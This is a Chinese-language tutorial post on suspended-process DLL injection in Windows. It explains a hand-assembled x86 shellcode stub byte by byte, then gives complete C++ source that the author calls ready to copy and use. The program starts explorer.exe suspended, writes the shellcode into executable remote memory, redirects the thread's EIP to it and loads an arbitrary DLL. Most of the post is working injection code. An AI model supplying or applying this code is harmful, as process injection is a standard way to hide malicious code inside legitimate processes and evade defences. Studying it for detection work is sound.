一丶掛起進程注入簡介與前言
掛起進程其實就是在創建進程的時候不讓其先執行.然后獲取它的EIP 將它的EIP變成我們ShellCode所在的內存.進行執行.不難.
主要分為幾步:
1.以CREATE_SUSPENDED標志掛起創建一個你想注入的進程
2.獲取這個進程的上下文環境 GetThreadContext 64位下使用Wow64GetThreadContext 請注意.CONTEXT結構還是同一個.使用64的會出錯.親測.(EIP注入的時候測試過.不相信可以去試試)
3.定義自己的ShellCode. ShellCode主要作用就是注入指定路徑下的DLL
4.修復ShellCode 因為畢竟ShellCode地址是絕對的所以修復下即可.
5.在目標進程中申請遠程可讀寫執行內存.並且將修復好的ShellCode寫入到目標進程
6.將EIP修改為可讀寫內存的地址.恢復線程則會調用到我們申請地址位置處開始執行.
7.釋放一系列資源.
綜上所述.其實沒有難點.掛起進程注入主要的核心思想就是 掛起進程修改EIP為我們ShellCode起始位置.然后進行調用即可.
這里核心主要是ShellCode
ShellCode如下:
UCHAR g_ShellCode[] = {
0x68,0x00,0x00,0x00,0x00, //push Context.EIP 需要修復
0x60, //puad
0x9C, //pushfd
0xE8, 0x00, 0x00, 0x00, 0x00, //call $0 代碼重定位
0x5B, //pop ebx
0x83, 0xEB,0x00, //sub ebx,0 可加可不加
0x8D, 0x4B,0x12, //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方獲取DLLpath地址
0x51, //push ecx
0xB8, 0x00,0x00,0x00,0x00, //mov eax,LoadLibraryA 修復LoadLibraryA的地址
0xFF,0XD0, //call eax 為啥使用Mov reg,address call reg. 自己去坑吧.
0x9D, //popfd
0x61, //popad
0xC3, //ret
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
ShellCode主要知識點有三個
1.保存contex.EIP
2.重定位LoadLibrary的參數
3.重定位LoadLibrary的地址
下面主要針對這幾點講解.
二丶ShellCode核心講解.
2.1 保存Contex.EIP
首先掛起進程注入. 你通過CONTEXT 這個結構可以獲取 目標進程EIP.但是你要想辦法執行完ShellCode之后跳轉回去.
所以這里我使用了一個簡單的方法
push Address
ret
這個方式是利用堆棧.以及ret指令來進行返回的. 當我們保存了原始地址.然后ret的時候.ret會把我們push的地址當做返回地址來執行.
2.2 DLL路徑重定位
我們正常來說.調用LoadLibraryA/W的時候.都會進行參數壓棧進而進行調用.
如:
push xxxx地址 (地址里面是個DLL路徑)
call LoadLibraryA; 調用LoadLibrary
而為了方便我直接代碼重定位.直接將ShellCode尾部寫入我們的DLL路徑.
call $0:
pop ebx
使用這兩句可以得到ebx當前指令指定的EIP的地址. 直接當前 EIP + xxx偏移(偏移是你寫DLL路徑的位置的偏移) 就是我們的參數地址.
2.3 LoadLibrary的重定位
當你直接使用 Call的方式調用LoadLibrary的時候.你還需要計算偏移.各種等等.
但是這種不需要的.為啥. 因為Windows在啟動后 kernel32的基址已經固定了.任何程序啟動都會默認加載 kernel32的.所以直接使用LoadLibrary當地址即可.
但是你使用Call的方式 (call LoadLibrary) 你還需要計算你的ShellCode 與LoadLibrary的偏移.所以我們直接使用寄存器來做.
mov reg,LoadLibrary
call reg
reg代表任意通用寄存器.
此時我們的ShellCode就可以正常運行了.通過以上步驟就可以開始運行了.
三丶 全部C++代碼.拷貝即可使用.
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string>
using namespace std;
UCHAR g_ShellCode[] = {
0x68,0x00,0x00,0x00,0x00, //push Context.EIP 需要修復
0x60, //puad
0x9C, //pushfd
0xE8, 0x00, 0x00, 0x00, 0x00, //call $0 代碼重定位
0x5B, //pop ebx
0x83, 0xEB,0x00, //sub ebx,0 可加可不加
0x8D, 0x4B,0x12, //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方獲取DLLpath地址
0x51, //push ecx
0xB8, 0x00,0x00,0x00,0x00, //mov eax,LoadLibraryA 修復LoadLibraryA的地址
0xFF,0XD0, //call eax 為啥使用Mov reg,address call reg. 自己去坑吧.
0x9D, //popfd
0x61, //popad
0xC3, //ret
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //填寫為DLL路徑
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 //不夠可以繼續添加
};
/*
1.掛起創建Explorer
2.創建ShellCode
3.獲取上下文環境
4.申請遠程內存 寫入ShellCode
5.回去上下文環境
ShellCode 可以寫定位LoadLibrary 然后進行調用
*/
//1.掛起創建 Explorer
PPROCESS_INFORMATION StartSuspendProcess(string SuspendProcessName,char szComand[])
{
BOOL bRet = FALSE;
PPROCESS_INFORMATION pi = nullptr;
pi = new PROCESS_INFORMATION;;
if (pi == nullptr)
{
return nullptr;
}
STARTUPINFO si = { 0 };
si.cb = sizeof(STARTUPINFO);
//創建掛起進程
bRet = CreateProcess(
SuspendProcessName.c_str(),
szComand,
nullptr,
nullptr,
FALSE,
CREATE_SUSPENDED,
nullptr,
nullptr,
&si,
pi);
if (bRet == FALSE)
{
return nullptr;
}
return pi;
}
//申請遠程內存
LPVOID lpExRemoteAllocMemory(HANDLE hProcess,DWORD flAllocation,DWORD Protected)
{
LPVOID lpBuffer = nullptr;
lpBuffer =
VirtualAllocEx(hProcess,
0,
0x1000,
flAllocation,
Protected
);
if (lpBuffer != nullptr)
return lpBuffer;
return nullptr;
}
//寫入ShellCode到遠程內存
DWORD lpWriteRemoteMemory(HANDLE hProcess, LPVOID lpExRemoteMemory)
{
//將ShellCode寫入到遠程內存
DWORD dwRet = 0;
SIZE_T siWriteBytes;
if (hProcess == 0)
return 0;
if (lpExRemoteMemory == nullptr)
return 0;
dwRet = WriteProcessMemory(
hProcess,
lpExRemoteMemory,
g_ShellCode,
sizeof(g_ShellCode) / sizeof(g_ShellCode[0]),
&siWriteBytes);
return dwRet;
}
//修復ShellCode,並且將DLL路徑寫入到ShellCode位置.
DWORD FixShellCode(DWORD dwContexEip,char* DllPath)
{
/*
縱觀全局數據區,ShellCode修復的位置有2處
1.首先要修復原Context的EIP. 這樣RET之后直接跳轉回去.
2.要修復LoadLibrary的地址. 因為Kernel32是直接加載的都是屬於內存映射.所以虛擬地址一樣.直接獲取填入即可.
不用修復DLLpath. 因為自動進行代碼重定位寫法了.
*/
//1.修復EIP
__try
{
*(DWORD*)(char*)&g_ShellCode[1] = dwContexEip;
//2.修復LodLibrary地址.
//修復
*(DWORD*)(char*)&g_ShellCode[21] = (DWORD)LoadLibraryA;
//將DLL內容拷貝到ShellCode存放路徑處
memcpy((char*)&g_ShellCode[30], DllPath, strlen(DllPath) + 1);
}
__except (EXCEPTION_EXECUTE_HANDLER)
{
//出錯了.
}
return 1;
}
void run()
{
DWORD dwRet = 0;
LPVOID lpStartRemoteAddress = nullptr;
//1.掛起創建進程
PPROCESS_INFORMATION pi = nullptr;
char szCmd[] = "";
pi = StartSuspendProcess("C:\\Windows\\SysWOW64\\explorer.exe",szCmd);
if (!pi)
{
return;
}
//2.獲取進程上下文環境.
CONTEXT MyContext = { 0 };
MyContext.ContextFlags = CONTEXT_FULL;
dwRet = GetThreadContext(pi->hThread, &MyContext);
if (!dwRet)
{
return;
}
//3.修復ShellCode的值.並且寫入自己的DLL路徑
char szDllPath[] = "填入你的DLL路徑.如: C:\\xxx.dll";
dwRet = FixShellCode(MyContext.Eip,szDllPath);
//4.申請遠程內存
lpStartRemoteAddress = lpExRemoteAllocMemory(pi->hProcess, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (lpStartRemoteAddress == nullptr)
{
return ;
}
//5.將ShellCode寫入到內存中
dwRet = lpWriteRemoteMemory(pi->hProcess, lpStartRemoteAddress);
//6.恢復進程啟動,修改EIP為我們的ShellCode
MyContext.Eip = (DWORD)lpStartRemoteAddress;
SetThreadContext(pi->hThread, &MyContext);
ResumeThread(pi->hThread); //請注意這里 EIP修改為我們的ShellCode位置.還要恢復線程才會進行執行.
//釋放一系列資源
VirtualFreeEx(pi->hProcess, lpStartRemoteAddress, 0x1000, MEM_RELEASE);
CloseHandle(pi->hProcess);
CloseHandle(pi->hThread);
}
int main()
{
run();
return 0;
}